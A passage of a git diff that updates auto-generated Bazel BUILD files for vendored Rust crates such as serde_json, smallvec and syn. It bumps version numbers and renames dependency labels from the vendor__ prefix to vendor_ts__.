-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            "**/*.rs",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "std",
-        "unbounded_depth",
-    ],
-    crate_name = "build_script_build",
-    crate_root = "build.rs",
-    data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    edition = "2021",
-    pkg_name = "serde_json",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=serde_json",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    version = "1.0.135",
-    visibility = ["//visibility:private"],
-)
-
-alias(
-    name = "build_script_build",
-    actual = ":_bs",
-    tags = ["manual"],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.140.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.140.bazel
new file mode 100644
index 000000000000..3f7d00505fbe
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.140.bazel
@@ -0,0 +1,156 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "serde_json",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "std",
+        "unbounded_depth",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=serde_json",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.140",
+    deps = [
+        "@vendor_ts__itoa-1.0.14//:itoa",
+        "@vendor_ts__memchr-2.7.4//:memchr",
+        "@vendor_ts__ryu-1.0.19//:ryu",
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__serde_json-1.0.140//:build_script_build",
+    ],
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "std",
+        "unbounded_depth",
+    ],
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2021",
+    pkg_name = "serde_json",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=serde_json",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "1.0.140",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_spanned-0.6.8.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_spanned-0.6.8.bazel
index e0565b9afff0..46285e64bd1f 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_spanned-0.6.8.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_spanned-0.6.8.bazel
@@ -84,6 +84,6 @@ rust_library(
     }),
     version = "0.6.8",
     deps = [
-        "@vendor__serde-1.0.217//:serde",
+        "@vendor_ts__serde-1.0.219//:serde",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with-3.12.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with-3.12.0.bazel
index 8a6cf4d7f4dc..cdd91fba58a0 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with-3.12.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with-3.12.0.bazel
@@ -37,8 +37,8 @@ rust_library(
     crate_root = "src/lib.rs",
     edition = "2021",
     proc_macro_deps = [
-        "@vendor__serde_derive-1.0.217//:serde_derive",
-        "@vendor__serde_with_macros-3.12.0//:serde_with_macros",
+        "@vendor_ts__serde_derive-1.0.219//:serde_derive",
+        "@vendor_ts__serde_with_macros-3.12.0//:serde_with_macros",
     ],
     rustc_flags = [
         "--cap-lints=allow",
@@ -91,6 +91,6 @@ rust_library(
     }),
     version = "3.12.0",
     deps = [
-        "@vendor__serde-1.0.217//:serde",
+        "@vendor_ts__serde-1.0.219//:serde",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with_macros-3.12.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with_macros-3.12.0.bazel
index c4748cafea99..f057b9da2e21 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with_macros-3.12.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with_macros-3.12.0.bazel
@@ -81,9 +81,9 @@ rust_proc_macro(
     }),
     version = "3.12.0",
     deps = [
-        "@vendor__darling-0.20.10//:darling",
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
+        "@vendor_ts__darling-0.20.10//:darling",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_yaml-0.9.34+deprecated.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_yaml-0.9.34+deprecated.bazel
index d1d5a34b6a64..78a3a8caae5a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_yaml-0.9.34+deprecated.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_yaml-0.9.34+deprecated.bazel
@@ -81,10 +81,10 @@ rust_library(
     }),
     version = "0.9.34+deprecated",
     deps = [
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__itoa-1.0.14//:itoa",
-        "@vendor__ryu-1.0.18//:ryu",
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__unsafe-libyaml-0.2.11//:unsafe_libyaml",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__itoa-1.0.14//:itoa",
+        "@vendor_ts__ryu-1.0.19//:ryu",
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__unsafe-libyaml-0.2.11//:unsafe_libyaml",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.sharded-slab-0.1.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.sharded-slab-0.1.7.bazel
index af217a122bbb..e978ca25cd6e 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.sharded-slab-0.1.7.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.sharded-slab-0.1.7.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.1.7",
     deps = [
-        "@vendor__lazy_static-1.5.0//:lazy_static",
+        "@vendor_ts__lazy_static-1.5.0//:lazy_static",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.smallvec-1.13.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.smallvec-1.13.2.bazel
deleted file mode 100644
index 6c353706f276..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.smallvec-1.13.2.bazel
+++ /dev/null
@@ -1,88 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "smallvec",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "const_generics",
-        "const_new",
-        "union",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=smallvec",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.13.2",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.smallvec-1.14.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.smallvec-1.14.0.bazel
new file mode 100644
index 000000000000..1e4a6aa9f73c
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.smallvec-1.14.0.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "smallvec",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "const_generics",
+        "const_new",
+        "union",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=smallvec",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.14.0",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.sptr-0.3.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.sptr-0.3.2.bazel
deleted file mode 100644
index 6f9bfbbbe67f..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.sptr-0.3.2.bazel
+++ /dev/null
@@ -1,86 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "sptr",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=sptr",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.3.2",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.100.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.100.bazel
new file mode 100644
index 000000000000..36eda052e065
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.100.bazel
@@ -0,0 +1,100 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "syn",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "clone-impls",
+        "default",
+        "derive",
+        "extra-traits",
+        "full",
+        "parsing",
+        "printing",
+        "proc-macro",
+        "visit",
+        "visit-mut",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=syn",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "2.0.100",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__unicode-ident-1.0.16//:unicode_ident",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.96.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.96.bazel
deleted file mode 100644
index bb6dc0c98bfc..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.96.bazel
+++ /dev/null
@@ -1,100 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "syn",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "clone-impls",
-        "default",
-        "derive",
-        "extra-traits",
-        "full",
-        "parsing",
-        "printing",
-        "proc-macro",
-        "visit",
-        "visit-mut",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=syn",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
